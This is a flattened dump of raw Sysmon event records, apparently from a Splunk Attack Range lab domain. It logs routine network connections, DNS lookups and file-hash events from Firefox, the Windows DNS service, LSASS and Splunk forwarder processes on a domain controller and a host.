Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ACB5BF07574A93FA5617F86D637CE8F6,SHA256=752F5B6BF52CDBED7F0DF8E5DCFF7E8EF95532A11BFA99948BF71600349E722F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:52.938{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59651-false18.66.139.97-443https 354300x800000000000000053423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:52.938{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60682- 354300x800000000000000053422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:52.938{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59666- 354300x800000000000000053421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:52.934{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54572- 354300x800000000000000053420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:52.748{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59650-false143.204.207.44server-143-204-207-44.fra53.r.cloudfront.net443https 354300x800000000000000053419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:52.743{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local65535- 23542300x800000000000000053418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:54.581{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=325FCAE1654E38E1FD29FF26C70EF113,SHA256=F9BC24301379CAAD4AEFD6A668F08A142D208867EB9F852B6FD4FA0828A78E48,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017182Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:54.178{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6433D78627EC454F778614AEA9D20F34,SHA256=3E6F7697ADE2EEEC37737A96CEE3753A32C91E3235287982A75E207F42F16CE2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:55.599{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C86D01BBFA3FCD551B9B344461FDF61F,SHA256=C690E5E7B8BA40DD6993D8714744F0835AFE00DF923B636527D53A567A807CF3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017184Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:55.256{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A94A2B571E04BFF04770A95C75F290A8,SHA256=78CDF235EDF08CF78E15406C78E689A467B24A26730BC0CEE9E90D7E9D6CB16D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:55.033{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017183Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:55.115{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017186Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:55.421{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50340-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000017185Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:56.334{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AC88DA6E10566B7AB95761C500AED9FF,SHA256=FCC30F21181B2BC43E64CA32EE5E204A039119B054BCE1DD889489266166BCAA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:56.716{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DC7C48742C843F1D7E5C02DDAE6D212B,SHA256=1BDEB675B1D964042B8135EB9D6B0375C5887EE2AED48B3F17A60B375A3C45F5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 22542200x800000000000000053430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:53.635{7BD73061-728D-613B-560B-00000000F001}4776d2nxq2uap88usk.cloudfront.net02600:9000:211e:d000:a:da5e:7900:93a1;2600:9000:211e:a200:a:da5e:7900:93a1;2600:9000:211e:6200:a:da5e:7900:93a1;2600:9000:211e:b600:a:da5e:7900:93a1;2600:9000:211e:c400:a:da5e:7900:93a1;2600:9000:211e:4800:a:da5e:7900:93a1;2600:9000:211e:e400:a:da5e:7900:93a1;2600:9000:211e:8e00:a:da5e:7900:93a1;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000053429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:53.633{7BD73061-728D-613B-560B-00000000F001}4776d2nxq2uap88usk.cloudfront.net018.66.139.17;18.66.139.67;18.66.139.125;18.66.139.97;C:\Program Files\Mozilla Firefox\firefox.exe 354300x800000000000000053428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:53.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59653-false18.66.139.97-443https 354300x800000000000000053427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:53.111{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59652-false143.204.207.44server-143-204-207-44.fra53.r.cloudfront.net443https 23542300x800000000000000053436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:57.746{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A86198BE85EBF10CFBC34135483F0DA2,SHA256=C8E92FFCA70796E500F1FD275692750DE711E4982788C797757131C3643DD778,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017188Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:56.421{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50341-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017187Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:57.365{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1FA9B10635010476CA11C7F03BF827F7,SHA256=7DAE8050A9687E3939A8A1D61C787F941A7F0491C90B74EF52FA2CE1160CDF47,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:54.103{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudptruetruefe80:0:0:0:0:ffff:ffff:fffe-50981-true2001:503:ba3e:0:0:0:2:30a.root-servers.net53domain 354300x800000000000000053434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:54.060{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local62666- 354300x800000000000000053433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:54.030{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56091- 354300x800000000000000053432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:54.030{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62666- 23542300x800000000000000053439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:58.761{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FF3CC33AE435A9B94D2BCD5F8A6ED9EA,SHA256=2642DB76A60EEBE3E19901FDD1518D748557A7E6FBE09B56C40B3F55994490FC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017189Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:58.412{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C18FE9E365C7F7C2E6193A587FD7058F,SHA256=8D82F61276C60B29B81EFF207B81D2591ED6B297803D1424084BEBAFB46667C0,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:55.114{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudptruetruefe80:0:0:0:0:ffff:ffff:fffe-51322-true2001:7fd:0:0:0:0:0:1-53domain 354300x800000000000000053437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:54.529{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59654-false10.0.1.12-8000- 23542300x800000000000000053443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:59.797{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C1D2A2B30E6ED6388815EE80D89F1358,SHA256=25535A333D68F2FD575828FCA2171564A36E5A6ABA25298AFC407AF5CE79B44B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017190Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:59.490{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0CA735F62B1FFABEBDAD3D0FA0A95411,SHA256=65E1158953DCBDC6FC46E506C79FFDEB4EFBE878A96B86C5332C349FB6122DC0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:59.429{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DBC80BB1F87997678BDB4F9E29ED8BE6,SHA256=85D09136101383D470A000FF23E4591E750589EE076435261F276DDC69799388,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:59.429{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=14434637151FA8579CDFA9B95E2B3234,SHA256=084F8771D0827028AC247B32496F947975CF1A193A6033C2ACC7FFB98FBC6B6F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000053440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:56.174{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53845- 354300x800000000000000053449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:58.071{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudptruetruefe80:0:0:0:0:ffff:ffff:fffe-50981-true2001:500:a8:0:0:0:0:e-53domain 23542300x800000000000000053448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:00.812{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B95FBF2E3DAE7079E5410207509A3021,SHA256=8C53198F4F89BB299B8517130DA2EB74EF600F280F7920096B57AE96329055BF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017191Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:00.537{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0DD52BCA33996CB86A52C082B4778FF2,SHA256=56903C401431AFED3D3E7C83E09BE134A58AB6C93C6B00AC750C7E92F58B3408,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:57.710{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59655-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000053446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:57.710{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59655-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000053445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:57.225{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local56576- 354300x800000000000000053444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:57.189{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56576- 23542300x800000000000000053450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:01.843{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A3B58A2C7135518EFE0C79D7152570BA,SHA256=91F16108C2D738CC26046FFF66725CAC6611AC3AEBC21CE805865A1EB07F0F05,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017192Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:01.553{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F802F5F8009A47F68756597BDFD307DA,SHA256=B95A335215F6DD5ED2267045DEDD418BB915437434213C6EB943C8B51A66523A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:02.913{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AC4CF65EFC3CD6DCDD90DD2BE2C274C3,SHA256=2ED4704E6148356F71841C8197CEE32557C3E9EF0C14E2226F8508CEB908DBFB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017194Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:02.568{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=70064B89E691BADA1CF33B1C4DD1AAA8,SHA256=696C5E0AFAA7708409BCAB33663354F9C0C65C8E65E89CC9FBC9E675F86C33AC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017193Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:02.334{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=9F2AD405681DF3DDD65181B027E0DF1E,SHA256=255D528C2E60124044FAE08C36FF6E483AF216E11B1419A557F777DF17FCD3C3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:03.929{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1014EA51EB5A2488352CCD17773E5F0B,SHA256=F22BBD7E84A09A0AD4DB67BA1B05C03BA6F32AA1C294FAF54F57016E474FC8F4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017195Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:03.584{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D0C3DB1F7F83A918D933B64983458CD6,SHA256=3C1374AC15004CE36899A931C446E8AFAF212EA5DFDFC61D9548ACC248D446D6,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:00.523{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59656-false10.0.1.12-8000- 23542300x800000000000000053455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:04.943{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D5ADE50BE31D7C1596838B40A0AD89F2,SHA256=DC35450562F60138717790F885FC901624D5BD6722F8D5ECE1ADB5975899E18D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017197Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:04.600{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7BCFBCE9B5D4781C0E30A75CAB25690E,SHA256=D6CA714449A3CE98962A9B0E45CA2B7537FBB9D954788D2B5CB5826ED3826050,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:01.388{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudptruetruefe80:0:0:0:0:ffff:ffff:fffe-52359-true2001:500:12:0:0:0:0:d0d-53domain 354300x800000000000000017196Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:01.562{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50342-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000053457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:05.973{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=82F31C88412490EDB70ADBC6F977C7F3,SHA256=9FD6B97F1917DB02ACB50845324BEE092C6E10ECF5483B02D979F905832227FB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017198Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:05.615{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=61CBD961E46F61E24442BEE05ECC6E96,SHA256=DD2E2A9EE0419F78BDA18893F46D2524C6E85A6DE9F0AB3C22943A59CF64EB07,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:01.723{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudptruetruefe80:0:0:0:0:ffff:ffff:fffe-50981-true2001:7fe:0:0:0:0:0:53-53domain 23542300x800000000000000017199Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:06.619{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DB91F3C6BED6675065FF3E6373721B42,SHA256=C53C1446D11915C33D7E76C2260A1F4BEA3124A267BFE65594A0F2F18548CBDB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:06.711{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shmMD5=35E48D96CE11EC628EEF4248088A1EC4,SHA256=41A8D981E99E9D43B60703897811D6E214F5EB64D42E36B4F0C0200AAB8683D2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017200Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:07.619{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 